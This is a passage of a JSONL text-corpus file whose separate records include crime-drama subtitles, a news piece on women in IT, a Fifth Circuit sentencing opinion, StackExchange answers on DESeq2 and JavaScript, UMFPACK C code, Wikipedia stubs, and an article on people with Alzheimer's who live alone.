Why would you have sugar on an axe?\" \" Yeah.\" \"That's more like a kitchen implement.\" \"Hey, Jack Flap told Aubrey he cures his own bacon.\" \"A meat cleaver would create a marking with a similar profile to that of an axe head.\" \"Let's cleanup, check","metadata":{"pile_set_name":"OpenSubtitles"},"id":604} {"contents":"the bones again.\" \"Yeah.\" \"Okay.\" \"Good-bye, precioso.\" \"So I'm holding Nancy, but I just don't think she'd have it in here to dismember Phyllis' body.\" \"So I looked into our one suspect with the money motive,\" \"Jack Flap is about to default on a $30,000 loan that he took out to pay for that new truck.\" \" He paid if off two days ago.\" \" Okay.\" \"So he sold off the ring and he used that money to pay off the loan.\" \"If not, that would be one giant jack stack of a coincidence.\" \"These marks could just as easily be from a meat cleaver.\" \"Yeah, but anyone with a kitchen could have a meat cleaver.\" \"Well, wait a second, what is this?\" \"What is it?\" \"A scratch","metadata":{"pile_set_name":"OpenSubtitles"},"id":605} {"contents":"on the posterior surface of the femur.\" \"Considering the width, it seems to be from a chain saw, but it's so faint.\" \"Could it be a hesitation mark?\" \"Chain saws are so powerful even just by touching the bone it would cause more damage than this.\" \"Well, all the more reason to get back to those chain saws.\" \"Mmm.\" \"If we could figure out what type was used this injury might actually make sense.\" \"The scratch on the femur is confounding.\" \"The width and the unique damage pattern indicate that it was made with a chain saw, but a tool with that much power would cause more damage.\" \"Okay, let's see if we can find the scenario that works.\" \"Okay, what if the killer only lightly touched the","metadata":{"pile_set_name":"OpenSubtitles"},"id":606} {"contents":"bone with the chain saw?\" \"No.\" \"A moving chain saw creates an incision that's deeper than the one we found.\" \"What if the chain saw wasn't on?\" \"Okay.\" \"No.\" \"The mark on the femur indicates that the chain was moving.\" \"So it's not from a chain saw that was on, and it's not from a chain saw that was off, but we know it's from a chain saw.\" \"Hopefully that's the last time I say chain saw today.\" \"Well, the chain was moving, but the saw was off.\" \"It's almost as if the chain wrapped itself around the circumference of the bone.\" \" Stop it.\" \"That's not good.\" \" Let me just see.\" \"Stop it.\" \"Let me just...\" \"let me see.\" \"No, don't touch it because then everybody...\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":607} {"contents":"\"Ugh.\" \"Oh, my God.\" \" Is everything okay?\" \" I'm fine.\" \"Everything is fine.\" \" Okay, can you move your toes?\" \" Uh-huh.\" \"Good, now I can kill you.\" \"What-- for what?\" \"For this little scratch?\" \"What happened?\" \"He was testing that saw and then hit a hard spot.\" \"Ah!\" \"A bone of sorts.\" \"Yes, anyway, the-the chain snapped, it whipped around the log, and then it clipped him.\" \"Ouch.\" \"Well, no, no, no, no.\" \"No ouch, no.\" \"I mean, it barely even hurts.\" \"This is it.\" \"This is what?\" \"This must be what happened to the victim's femur.\" \"The scratch Rodolfo found was from a chain saw chain.\" \"It snapped off the holder and therefore wasn't going fast enough to penetrate the bone.\" \"So if the chain","metadata":{"pile_set_name":"OpenSubtitles"},"id":608} {"contents":"saw snapped...\" \"Then the killer must have a similar injury to Rodolfo.\" \"It's not an injury.\" \"Good work, Dr. Fuentes.\" \"Any time.\" \"Okay.\" \"Well, I'm going to look for hospital records.\" \"Oh, Aye dios mio, y la virgin santo.\" \"I didn't do anything.\" \"No, you just stole Phyllis' diamond ring so you could pay off your loan, right?\" \"But she caught you, and in doing so you killed her, and you still sold it off.\" \"You can't prove that.\" \"Oh, but we can prove that you chopped up her body.\" \"Why did you check in to the emergency room last Tuesday night?\" \"I, uh... cut myself with a kitchen knife.\" \"Had to get a few stitches.\" \"Your shin's a strange place to cut yourself with a kitchen knife?\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":609} {"contents":"\"Who said it was on my sh...\" \"Checked out your hospital records.\" \"I wouldn't describe 22 stitches as a-a \"few.\"\" \"That cut is from a chain saw.\" \"Almost certainly from the one you used to dismember Phyllis' body.\" \"Our lab is tearing apart your truck right now.\" \"It's only a matter of time before we find Phyllis' DNA, so why don't you come clean?\" \"We were joking around doing stupid pranks, and she took it too far.\" \"She took my truck.\" \"The truck was all I had.\" \"Okay, so-so you sold off her engagement ring to get back at her?\" \"I heard her gabbing on her phone to her jeweler.\" \"I just knew if I could get that ring it was my chance to pay off my debt.\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":610} {"contents":"\"She owed me.\" \"But Phyllis caught you?\" \"She was going to turn me into the cops after everything she'd done.\" \"I'm not sorry.\" \"Without my truck, my life was over anyway.\" \"Cam, you got a minute?\" \"Of course.\" \"So...\" \"I wanted to wait until the case was over to tell you.\" \"I found proof that Zach didn't kill the lobbyist.\" \"Okay.\" \"I'm not gonna ask when you found time to do this, but what did you find?\" \"I was looking at the lobbyist's rib.\" \"I was with Dr. Brennan when she analyzed that;\" \"she found nothing.\" \"Within one of the stab wounds,\" \"I found the microbial signature of the killer and it is not a match for Zach.\" \"But the chances of a microbial signature surviving this long","metadata":{"pile_set_name":"OpenSubtitles"},"id":611} {"contents":"are infinitesimal.\" \"Yeah, it had Anthrax in it, which is the only bacteria that can survive this long.\" \"That's very fortunate.\" \"Right?\" \"Can you believe that luck?\" \"I'm trying to.\" \"Wow, this is conclusive.\" \"And yet you don't seem excited.\" \"Well, I'm... just a little worried that this is too good to be true.\" \"You think I planted evidence?\" \"Look, we all know that Zach is innocent, and that it's not fair that he's locked up, so I can understand why doing something like that might be tempting.\" \"And I'm sorry, but I can't look at evidence that may have been tampered with.\" \"Then toss it.\" \"The radius is... 8.24 inches.\" \"Okay, let's go Bones.\" \"Let's hurry it up here.\" \"We've been standing here waiting for you to","metadata":{"pile_set_name":"OpenSubtitles"},"id":612} {"contents":"do your stuff for, like, 20 minutes.\" \"Important to be thorough, Booth.\" \"What is the temperature of the water in degrees Celsius?\" \"Cold.\" \"Cold, freezing cold.\" \"Let's go.\" \"Let's do this.\" \"Okay, we're ready.\" \"Come on, put the stuff down.\" \"Okay, do both husband and wife understand the terms of the agreement?\" \"Oh, yes.\" \"The winner gets to teach Christine how to ride the bike their way.\" \"Which will be me because I've just spent the last two days learning the physics of the sport.\" \"And I've been spending the last two days enjoying the sport, huh?\" \"Your hair looks beautiful today, I must say.\" \"It's gonna look that much better when it gets all wet.\" \"I hope your lack of scientific strategy results in you losing.\" \"We'll","metadata":{"pile_set_name":"OpenSubtitles"},"id":613} {"contents":"work on that trash talking later, okay.\" \"Are the competitors ready?\" \"Ready.\" \"Ready.\" \"On your mark... get set... roll!\" \"Oh.\" \"Whoa, all right, huh?\" \"Whoa.\" \"What are you doing?\" \"Lowering the surface friction.\" \"Oh really?\" \"Lower this.\" \"Oh.\" \"Ineffective.\" \"I control the torque.\" \"You don't control the torque, now, huh?\" \"Jumping is not a traditional move in this sport.\" \"It's not?\" \"You didn't study that one, huh?\" \"You didn't, huh?\" \"Kind of, caught you off guard?\" \"My strategy can accommodate that.\" \"Whoa!\" \"Whoa!\" \"== sync, corrected by elderman == @elder_man\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":614} {"contents":"By submitting my Email address I confirm that I have read and accepted the Terms of Use and Declaration of Consent.\n\nBy submitting your personal information, you agree that TechTarget and its partners may contact you regarding relevant content, products and special offers.\n\nYou also agree that your personal information may be transferred and processed in the United States, and that you have read and agree to the Terms of Use and the Privacy Policy.\n\nThe competition invites girls to compete for a \u00a39,000 sponsorship to help the winner through her first year at university, and the chance for paid work experience in the IT industry.\n\nIt was first launched to demonstrate the diverse careers women can have in science, technology, engineering and maths (Stem), industries that Cooklin says require a new","metadata":{"pile_set_name":"Pile-CC"},"id":615} {"contents":"kind of people to evolve and cater to the general population\u2019s needs.\n\nPart of the competition requires girls aged between 16 and 18 to submit an essay explaining how technology could improve their life.\n\n\u201cWe show what some of those jobs are,\u201d says Cooklin, \u201cand those jobs may not be coding jobs, they might be analyst jobs, media jobs, very creative jobs.\n\n\u201cA lot of them will require very good emotional intelligence, and that is something many women have in spades, so it plays to their strengths.\u201d\n\n\u201cThe people we need, the people who have strong project management skills and strong analyst skills \u2013 we want those people in the IT industry,\u201d says Cooklin.\n\n\u201cSo, yes, you need developers, you need coders, but there is a global market for those skills. Good behavioural","metadata":{"pile_set_name":"Pile-CC"},"id":616} {"contents":"skills and high emotional intelligence are much harder to find and actually a lot of that is what creates successful projects, high-performing teams \u2013 it isn\u2019t just about the technical skills.\u201d\n\nWhere the influence lies\n\nResearch undertaken by Network Rail in 2013 found that 64% of women aged 16 to 24 had never considered a career in IT.\n\nBut the IT industry needs skilled workers, and a diverse workforce means greater productivity and innovation, says Cooklin.\n\n\u201cBack in the 1980s and early 1990s, 38% of IT jobs were filled by women; that has now dropped to 16%,\u201d she adds.\n\n\u201cI think diversity is very important in a business \u2013 it improves business performance.\u201d\n\nCooklin highlights the importance of support and role models when young people are deciding what career to choose.\n\nRead more about women","metadata":{"pile_set_name":"Pile-CC"},"id":617} {"contents":"in the IT industry\n\nMeet the men who have mentored some of the leading women in tech to find out how men can help tackle the diversity gap in IT.\n\nRecruitment agency Monster is launching a TechTalent Charter to encourage diversity in the IT industry through widespread adoption of best practice.\n\n\u201cMy school\u2019s ethos was very much \u2018You are all highly intelligent women, you can go and do whatever career you want to do\u2019,\u201d says Cooklin. \u201cI think that\u2019s a very affirming, confidence-building environment to be in.\n\n\u201cThat is part of the message I try to convey when I talk to young people. It\u2019s \u2018Hey, look what\u2019s out there\u2019 \u2013 we go through all the jobs you can have in the IT sector, creative and technical.\u201d\n\nCooklin\u2019s school gave five girls places on","metadata":{"pile_set_name":"Pile-CC"},"id":618} {"contents":"its computer science course, sparking her interest in the sector.\n\n\u201cI felt I\u2019ve done pretty well in my career in IT,\u201d she adds. \u201cI have found it enjoyable, interesting, very challenging \u2013 and I wanted to spread the word.\u201d\n\nReturning to the industry\n\nAccording to Network Rail\u2019s research, the IT industry requires 22,500 new entrants each year from the education system.\n\nBut only 13% of the students taking IT degrees are female, and 10% of young women say industry stereotypes put them off an IT career.\n\n\u201cWhat I do know is there is a problem across all industries for women in their 30s and quite often there is choice between career and family,\u201d she adds.\n\n\u201cThey are weighing up different priorities and what they want to do. I\u2019m not sure it\u2019s specific to technology;","metadata":{"pile_set_name":"Pile-CC"},"id":619} {"contents":"I think it\u2019s a broader point across a number of industries. I think it\u2019s a women in careers problem.\u201d\n\n2 comments\n\nRegister\n\nLogin\n\nForgot your password?\n\nYour password has been sent to:\n\nBy submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy\n\nI believe that on a high performance team you can have all kinds of people, low or high emotional intelligence, different cultures, different ages\/experience -- the KEY IS HAVING the RIGHT Manager, who can 'see' each member of the team and help them recognize their individual 'raison d'etre' then once they have firmed-up self respect and the balance that comes from confidence, then and only then can","metadata":{"pile_set_name":"Pile-CC"},"id":620} {"contents":"the manager help the team become truly synergetic. I say that even though the naivete of Agile would say 'no need for a manager, teams can be self-regulating'. Now THAT is naive and implausible esp if the teams are not small and working at a startup. The goals and focus of startup people are vastly different from the goals and focus of people working at a stable, established company, after all.","metadata":{"pile_set_name":"Pile-CC"},"id":621} {"contents":" United States Court of Appeals\n Fifth Circuit\n ","metadata":{"pile_set_name":"FreeLaw"},"id":622} {"contents":" F I L E D\n IN THE UNITED STATES COURT OF APPEALS\n FOR THE FIFTH CIRCUIT June","metadata":{"pile_set_name":"FreeLaw"},"id":623} {"contents":"1, 2007\n\n Charles R. Fulbruge III\n Clerk\n ","metadata":{"pile_set_name":"FreeLaw"},"id":624} {"contents":" No. 06-40291\n Summary Calendar\n\n\nUNITED STATES OF AMERICA,\n\n Plaintiff-Appellee,\n\nversus\n\nEVERETT LOUIS KELLY,\n\n ","metadata":{"pile_set_name":"FreeLaw"},"id":625} {"contents":" Defendant-Appellant.\n\n --------------------\n Appeal from the United States District Court\n for the Southern District of Texas\n USDC No. 2:97-CR-276\n --------------------\n\nBefore DeMOSS, STEWART and PRADO, Circuit Judges.\n\nPER CURIAM:*\n\n Everett Louis Kelly appeals the sentence imposed following\n\nthe revocation of the","metadata":{"pile_set_name":"FreeLaw"},"id":626} {"contents":"supervised release imposed following his\n\nconvictions for two counts of forging an endorsement on a\n\nTreasury check and one count of delivering Treasury checks\n\nknowing that they contained forged endorsements. Kelly argues\n\nthat the sentence imposed was unreasonable despite being within\n\nthe properly calculated advisory guidelines range because the\n\ndistrict court did not properly take into account the mitigating\n\nevidence he presented. The Government asserts that this court\n\n *\n Pursuant to 5TH CIR. R. 47.5, the court has determined that\nthis opinion should not be published and is not precedent except\nunder the limited circumstances set forth in 5TH CIR. R. 47.5.4.\n\f ","metadata":{"pile_set_name":"FreeLaw"},"id":627} {"contents":" No. 06-40291\n -2-\n\ndoes not have jurisdiction to consider Kelly\u2019s argument because\n\nhis argument is the equivalent of arguing that the district court\n\nrefused to grant a downward departure.\n\n Even following United States v. Booker, 543 U.S. 220 (2005),\n\nwe lack jurisdiction to review a district court\u2019s denial of a\n\nrequest for a downward departure from the guidelines sentence\n\nrange unless the district court erroneously believes that it did\n\nnot have the authority to make a departure. United States v.\n\nHernandez, 457 F.3d 416, 424 & n.5","metadata":{"pile_set_name":"FreeLaw"},"id":628} {"contents":"(5th Cir. 2006). Kelly,\n\nhowever, argues that sentence imposed was unreasonable, not that\n\nthe district court abused its discretion by not making a downward\n\ndeparture. We do have jurisdiction to review a sentence for\n\nreasonableness whether or not the sentence is within the\n\nguidelines range. See Booker, 543 U.S. at 260; United States v.\n\nKane, 452 F.3d 140, 144 (2d Cir. 2006); United States v. Chavez-\n\nDiaz, 444 F.3d 1223, 1228-29 (10th Cir. 2006).\n\n Since United States v. Booker, 543 U.S. 220 (2005), we have\n\nyet to determine whether sentences imposed following the\n\nrevocation of supervised release should be reviewed under the\n\nplainly unreasonable standard previously applicable or the\n\nunreasonableness standard set forth in Booker, and we need not do\n\nso in this case because the sentence","metadata":{"pile_set_name":"FreeLaw"},"id":629} {"contents":"imposed passes muster under\n\neither standard. See United States v. Hinson, 429 F.3d 114, 119-\n\n20 (5th Cir. 2005). While the district court could have\n\nexplained the rationale for the sentence imposed more clearly, it\n\f No. 06-40291\n -3-\n\ndid indicate that it imposed the sentence it did to suit the best\n\ninterests of the public. Furthermore, as the district court\n\nsentenced Kelly within the advisory guidelines range,","metadata":{"pile_set_name":"FreeLaw"},"id":630} {"contents":"it is\n\ninferred that it considered all the factors set forth in the\n\nGuidelines. See United States v. Candia, 454 F.3d 468, 473 (5th\n\nCir. 2006). The sentence imposed by the district court was\n\nneither unreasonable nor plainly unreasonable. See Hinson, 429\n\nF.3d at 120.\n\n AFFIRMED.\n\f","metadata":{"pile_set_name":"FreeLaw"},"id":631} {"contents":"Q:\n\nDifferential expression analysis when nested effects\n\nI have 3 tumour samples from 3 patients from an experiment, I also downloaded 10 normal samples from TCGA. My design is like this \n> mycols\n condition batch\nnormal1 normal 1\nnormal2 normal 1\nnormal3 normal 1\nnormal4 normal 1\nnormal5 normal 1\nnormal6 ","metadata":{"pile_set_name":"StackExchange"},"id":632} {"contents":" normal 1\nnormal7 normal 1\nnormal8 normal 1\nnormal9 normal 1\nnormal10 normal 1\nOESO_036_a_RNA cancer 2\nOESO_013_a_RNA cancer 2\nOESO_005_a_RNA cancer 2\n>\n\nBut DESeq2 returns error when trying for differential expression analysis\n> dds <- DESeqDataSetFromMatrix(countData=counts, colData=mycols, design=~batch+condition)\nError in checkFullRank(modelMatrix) : \n the model matrix is","metadata":{"pile_set_name":"StackExchange"},"id":633} {"contents":"not full rank, so the model cannot be fit as specified.\n One or more variables or interaction terms in the design formula are linear\n combinations of the others and must be removed.\n\n Please read the vignette section 'Model matrix not full rank':\n\n vignette('DESeq2')\nIn addition: Warning message:\nIn DESeqDataSet(se, design = design, ignoreRank) :\n some variables in design formula are characters, converting to factors\n\nThen how I could extract deferentially expressed genes between tumour and normal samples while they are coming from two different batches?\nAny help please?\n\nA:\n\nllrs is right. \"Matrix Model not full rank\" means that two of your conditions are confounded. You can't get your normals from one place and your experimentals from another\nAnd no, there generally is no clever way out of","metadata":{"pile_set_name":"StackExchange"},"id":634} {"contents":"this. For all you know, any differences you see between your normals and your cancers are 100% due to being sequenced somewhere else, and have nothing to do with real biology.\nIf you want to run this through DESeq, drop batch effect. But tell whoever you are reporting the results to that batch is hopelessly confounded with cancer state, and you can't tell which differences are due to what.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":635} {"contents":"Salmon Lake (Alaska)\n\nSalmon Lake (native name, Nahwazuk, meaning \"salmon\") is a natural lake on the Seward Peninsula in the U.S. state of Alaska. Situated north of Cape Nome, it drains into Port Clarence through Kruzgamepa River. The lake lies at the foot of the Kigluaik Mountains at an elevavation of about . It has a water surface area of and a drainage area of . Its principal supply comes from Grand Central River, which enters it at its western end. A number of small streams also enter the lake from both the north and the south; Fox Creek and Jasper Creek are the most notable of these. Efforts to dam the lake in order to provide power and water supply to mining endeavors occurred from 1906-1907,","metadata":{"pile_set_name":"Wikipedia (en)"},"id":636} {"contents":"However these plans were later dropped due to disputes over land ownership and water rights.\n\nReferences\n\nCategory:Lakes of Alaska\nCategory:Bodies of water of Nome Census Area, Alaska\nCategory:Bodies of water of the Seward Peninsula","metadata":{"pile_set_name":"Wikipedia (en)"},"id":637} {"contents":"\/* ========================================================================== *\/\n\/* === UMFPACK_get_lunz ===================================================== *\/\n\/* ========================================================================== *\/\n\n\/* -------------------------------------------------------------------------- *\/\n\/* Copyright (c) 2005-2012 by Timothy A. Davis, http:\/\/www.suitesparse.com. *\/\n\/* All Rights Reserved. See ..\/Doc\/License.txt for License. *\/\n\/* -------------------------------------------------------------------------- *\/\n\n\/*\n User-callable. Determines the number of nonzeros in L and U, and the size\n of L and U.\n*\/\n\n#include \"umf_internal.h\"\n#include \"umf_valid_numeric.h\"\n\nGLOBAL Int UMFPACK_get_lunz\n(\n Int *lnz,\n Int *unz,\n Int *n_row,\n Int *n_col,\n Int *nz_udiag,\n void *NumericHandle\n)\n{\n NumericType *Numeric ;\n\n Numeric = (NumericType *) NumericHandle ;\n\n if (!UMF_valid_numeric","metadata":{"pile_set_name":"Github"},"id":638} {"contents":"(Numeric))\n {\n\treturn (UMFPACK_ERROR_invalid_Numeric_object) ;\n }\n if (!lnz || !unz || !n_row || !n_col || !nz_udiag)\n {\n\treturn (UMFPACK_ERROR_argument_missing) ;\n }\n\n *n_row = Numeric->n_row ;\n *n_col = Numeric->n_col ;\n\n \/* number of nz's in L below diagonal, plus the unit diagonal of L *\/\n *lnz = Numeric->lnz + MIN (Numeric->n_row, Numeric->n_col) ;\n\n \/* number of nz's in U above diagonal, plus nz's on diagaonal of U *\/\n *unz = Numeric->unz + Numeric->nnzpiv ;\n\n \/* number of nz's on the diagonal *\/\n *nz_udiag = Numeric->nnzpiv ;\n\n return (UMFPACK_OK) ;\n}\n","metadata":{"pile_set_name":"Github"},"id":639} {"contents":"1938 Australian Championships \u2013 Women's Doubles\n\nThelma Coyne and Nancye Wynne claimed their third consecutive domestic title, defeating Dorothy Bundy and Dorothy Workman 9\u20137, 6\u20134 in the final, to win the Women's Doubles tennis title at the 1938 Australian Championships.\n\nSeeds\n\n Dorothy Bundy \/ Dorothy Workman (Final)\n Thelma Coyne \/ Nancye Wynne (Champions)\n Nell Hopman \/ Dot Stevenson (Quarterfinals)\n Joan Hartigan \/ Emily Hood Westacott (Semifinals)\n\nDraw\n\nDraw\n\nReferences\n\nExternal links\n Sources for seedings\n\nCategory:1938 in tennis\nAustralian Championships - Women's Doubles\nCategory:1938 in Australian tennis\nCategory:1938 in Australian women's sport\nCategory:Australian Championships (tennis) by year","metadata":{"pile_set_name":"Wikipedia (en)"},"id":640} {"contents":"Joseph Engh was visiting his father in San Francisco six months ago when he noticed something was wrong.\n\nHis 89-year-old father, Moy Ng, seemed surlier than usual, and a little forgetful. Ng had developed pneumonia, which had prompted Engh's visit, so Engh took his father to see his doctor.\n\nNg, it turned out, has Alzheimer's disease - he might have had it for months or even years. But Ng lived alone, and with no family or close friends around to notice his memory loss or personality changes, getting him diagnosed and treated was a challenge.\n\n\"The doctor had known for some time that my father was having a problem. But he kind of refused to get diagnosed,\" said Engh, 63, who lives in Seattle.\n\nRoughly 800,000 people in the United States have","metadata":{"pile_set_name":"Pile-CC"},"id":641} {"contents":"Alzheimer's and live alone, according to an Alzheimer's Association report released today. That's about 1 in 7 people who have Alzheimer's - and the rate is probably higher in big cities, where elderly adults are more likely to live alone. In San Francisco, public health experts estimate that up to 40 percent of people with Alzheimer's or other forms of dementia live alone.\n\nAlone and at risk\n\nWithout someone to watch over them, these patients are at increased risk for malnutrition, accidents at home, and complications from misusing or overdosing medications. They tend to be diagnosed later than those who live with a spouse or other family member and they tend to end up in nursing homes earlier.\n\n\"They usually don't get referred to us until the problem gets to a","metadata":{"pile_set_name":"Pile-CC"},"id":642} {"contents":"critical stage, where they might start missing doctor appointments or not taking medicines or not paying rent and getting evicted,\" Boxer said. \"By that point, someone is fairly advanced in their disease.\"\n\nAs Baby Boomers get older, and as more Americans live alone - often separated from families that have long departed for other cities - doctors and public health experts expect the number of people facing dementia on their own to increase.\n\nWith that in mind, they're working now to develop support systems to try to identify and diagnose people as soon as possible. The idea is to get patients the support they need before the disease has progressed to the point where they can no longer care for themselves.\n\nEarly treatment\n\nThere is no cure for Alzheimer's, but drugs can","metadata":{"pile_set_name":"Pile-CC"},"id":643} {"contents":"slow the disease, if patients start treatment early enough.\n\nPatients who are diagnosed early also can start preparing for the disease's inevitable progression - by filling out forms expressing their health care wishes, appointing someone to take over their finances, and even arranging for services like transportation and meal delivery that they may need later on.\n\nPlenty of services\n\nA lot of services exist for older adults who have dementia, but if patients don't have someone to help them apply for those services, they may not get the help they need, said Cynthia Barton, a geriatric nurse practitioner at UCSF's Memory and Aging Center.\n\n\"Filling out forms, navigating the system, these kinds of things can be overwhelming,\" Barton said. \"It can be cumbersome for all of us. It can be quite a","metadata":{"pile_set_name":"Pile-CC"},"id":644} {"contents":"challenge for someone with cognitive problems.\"\n\nThese gatekeepers might include mail carriers, police officers, church members and even salon workers and grocery clerks who have regular contact with customers. In theory, they are people who would know to look out for basic symptoms - an elderly woman who starts missing Sunday church services, for example, or a man who has stopped picking up his mail.\n\n\"If you have an environment where people are looking out for each other, that helps to protect people who are more vulnerable,\" Scharlach said. \"But most of us don't have that.\"\n\nSeeking help\n\nBoxer suggests that anyone who is concerned about an older adult's cognitive health \"encourage that person to come in for an evaluation.\" If the person refuses and there's concern that his or her health","metadata":{"pile_set_name":"Pile-CC"},"id":645} {"contents":"is at risk, adult protective services should be contacted, he said.\n\n\"I would talk to the person first, but don't leave it at that,\" Boxer said. \"If, in your heart of hearts, you're worried they're not fine, you should take it a step further. I'd rather be wrong and embarrass the person a little bit than to miss this. ... You have to be tough in these situations.\"\n\nThat's what Engh is learning now. His father, he said, was always difficult, but he gets angry, and sometimes even violent, when he's reminded of his Alzheimer's diagnosis.\n\nEngh realized that he couldn't leave his father entirely on his own, so at least for now, he lives part time in San Francisco to be near him - to take him to doctors' appointments,","metadata":{"pile_set_name":"Pile-CC"},"id":646} {"contents":"make sure he's eating enough and pay his bills.\n\n\"Medically, he's fine,\" Engh said. \"He can bathe himself and clean and cook. He loves being on his own at home.\"\n\nBut Engh knows it's a matter of time. \"I don't know how long that will last.\"\n\nGetting help\n\nTo get help for someone who may have Alzheimer's disease or another form of dementia, contact the Alzheimer's Association 24-hour help line, (800) 272-3900, or San Francisco's Adult Protective Services, (415) 355-6700.","metadata":{"pile_set_name":"Pile-CC"},"id":647} {"contents":"South Mississippi Strong: Lucy the Clown wants to brighten your worst day\n\nUsually, when you think of clowns you envision them at a circus, or birthday party. Some people may even be a little frightened of them. But for hundreds of South Mississippians, one clown, in particular, has brought them joy and encouragement on their most stressful and saddest days. She calls herself Lucy the Clown and her mission in life is helping people have a better day.","metadata":{"pile_set_name":"Pile-CC"},"id":648} {"contents":"The SLTR | a Device to Perfectly Salt a Beer Everytime\n\nDesigned to uniformly and quickly salt a beer with no mess. The SLTR is a revolutionary patent pending device.","metadata":{"pile_set_name":"OpenWebText2"},"id":649} {"contents":"Olympique de Marseille coach Marcelo Bielsa has looked to take the pressure off his players as the Classique at home to Paris Saint-Germain - which could have serious implications for OM's season - looms in ten days' time.","metadata":{"pile_set_name":"Pile-CC"},"id":650} {"contents":"Sharman Joshi\n\nSharman Joshi (born 28 April 1979) is an Indian film and theatre actor. He has worked on and directed stage productions in English, Hindi, Marathi and Gujarati languages, but is mostly known for his work in Hindi films. He made his acting debut in Godmother (1999). He made his debut as a co-lead actor in the Bollywood (Hindi) film Style (2001); this was followed by supporting roles in hit films such as Rang De Basanti (2006), Golmaal (2006), Life in a... Metro (2007),\nDhol (2007),\n3 Idiots (2009), Ferrari Ki Sawaari (2012), Hate Story 3 (2015) and Mission Mangal (2019). He is playing a lead role in the Bollywood movies Kaashi in Search of Ganga and 3 Storeys. He is best known for his role as Raju Rastogi in","metadata":{"pile_set_name":"Wikipedia (en)"},"id":651} {"contents":"the movie 3 Idiots.\n\nPersonal life\nJoshi belongs to a Gujarati family of actors and performing artists. His father, Arvind Joshi, is a veteran of Gujarati theatre, while his aunt Sarita Joshi (Bhosle) and cousins acted in Marathi and Gujarati theatre. His sister is actress Manasi Joshi Roy and brother-in-law is actor Rohit Roy.\n\nJoshi is married to Prerana Chopra, daughter of actor Prem Chopra. The couple have a daughter, Khyana, born in October 2005, and twin boys, Vaaryan and Vihaan, born in July 2009.\n\nCareer\n\nTheatre \nSharman Joshi has directed and starred in various theatre performances. He appeared as a deaf character in Gujarati version of popular play All the Best, which did over 550 shows in three years.\n\nMovies \nHe made his film debut in the 1999 art film, Godmother. This was","metadata":{"pile_set_name":"Wikipedia (en)"},"id":652} {"contents":"followed by Style (2001), produced by N Chandra. Style was followed by its sequel Xcuse Me (2003) and other comedies such as Shaadi No. 1 (2005). In 2006, he starred in Rang De Basanti. Later that year he starred in the comedy film Golmaal. In 2007 he appeared in Life in a... Metro, Dhol, and Raqeeb. The following year saw him as the character Shyam in Hello, the film adaptation of Chetan Bhagat's novel One Night @ the Call Center. Joshi played the male lead in Sorry Bhai! in 2008 and one of the three characters (Raju Rastogi) in the 2009 film 3 Idiots, which was based on Chetan Bhagat's novel Five Point Someone. He also played the role of a cop in the erotic-thriller Wajah Tum Ho.\n\nOther","metadata":{"pile_set_name":"Wikipedia (en)"},"id":653} {"contents":"\nIn 2009, he hosted a game show at Real T.V. called PokerFace: Dil Sachcha Chehra Jhootha, which was based on a British game show called PokerFace. He has been honored with the life membership of International Film and Television Club of Asian Academy of Film & Television. Sharman refers to be type-cast during his career and spoke about it at the TEDxYouth@OIS TEDx conference in Mumbai in January, 2017.\n\nHe has completed his education at the Narsee Monjee College of Commerce and Economics, India.\n\nFilmography\n\nPlayback singer\n\nTelevision\n\nAwards and nominations\n\nReferences\n\nExternal links\n\n \n Sharman Joshi official website\n\nCategory:Indian male film actors\nCategory:Living people\nCategory:Male actors in Hindi cinema\nCategory:Indian male stage actors\nCategory:1969 births\nCategory:Male actors from Mumbai\nCategory:Indian game show hosts\nCategory:Gujarati people","metadata":{"pile_set_name":"Wikipedia (en)"},"id":654} {"contents":"Q:\n\nHow do I properly toggle between divs on a web form using this Javascript solution?\n\nI am attempting to toggle display between two divs. The first contains a drop-down menu of existing sales representatives. The second contains a text input field to add a new sales representative. I want to prevent the user from seeing both divs at once. I want neither div to display when the page is first loaded.\nWorking properly:\n\nNeither div displays at first. \nFurther, the div with ID=\"repIfChoose\" displays when I click the radio button next to \"Choose\".\n\nNot working properly:\n\nThe div with ID=\"repIfAdd\" does not display when I click the radio button next to \"Add\".\nOnce the div with ID=\"repIfChoose\" is first displayed, nothing happens when I alternate between the radio buttons afterward (meaning the repIfChoose div","metadata":{"pile_set_name":"StackExchange"},"id":655} {"contents":"is not hidden and the repIfAdd div is not displayed.) \n\nI know that there may be simpler solutions in JQuery, but I would prefer to accomplish this in vanilla Javascript. Can someone help me solve the two errors above and any other mistakes you might notice? Thank you.\n\n<!DOCTYPE html>\r\n<html>\r\n\r\n<head><\/head>\r\n\r\n<body>\r\n\r\n <!--Radio button to switch between choose and add sales representative (choose default)-->\r\n Choose <input type=\"radio\" onclick=\"repVisible();\" id=\"chooseInput\" name=\"repRadio\">\r\n <br><br> Add <input type=\"radio\" onclick=\"repVisible();\" id=\"addInput\" name=\"repRadio\">\r\n\r\n <div class=\"form-group\" id=\"repIfChoose\" style=\"display:none\">\r\n <label>Choose Sales Representative<\/label>\r\n <select name=\"SalesRep\">\r\n <option value=\"\" disabled selected>Choose Sales Representative<\/option>\r\n <option value=\"\">Adam<\/option>\r\n <option value=\"\">Bill<\/option>\r\n <option value=\"\">Carl<\/option>\r\n ","metadata":{"pile_set_name":"StackExchange"},"id":656} {"contents":"<\/select>\r\n <\/div>\r\n\r\n <div class=\"form-group\" id=\"repIfAdd\" style=\"display:none\">\r\n <label>Add Sales Representative<\/label>\r\n <input type=\"text\" placeholder=\"e.g. Alex Branson\" name=\"SalesRep\">\r\n <\/div>\r\n\r\n <script>\r\n function repVisible() {\r\n if (document.getElementById('chooseInput').checked) {\r\n document.getElementById('repIfChoose').style.display = 'block';\r\n document.getElementById('repifAdd').style.display = 'none';\r\n }\r\n if (document.getElementById('addInput').checked) {\r\n document.getElementByID('repIfChoose').style.display = 'none';\r\n document.getElementByID('repIfAdd').style.display = 'block';\r\n }\r\n }\r\n <\/script>\r\n\r\n<\/body>\r\n\r\n<\/html>\n\nA:\n\nYour getElementById() had a few capitals D's; moreover, you id names had case problems as well. Otherwise works: \nhttps:\/\/jsfiddle.net\/4qswkyLp\/\nMake sure to","metadata":{"pile_set_name":"StackExchange"},"id":657} {"contents":"use developer console in your browser to debug code, easy to get to using F12 on PC, for most browsers.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":658} 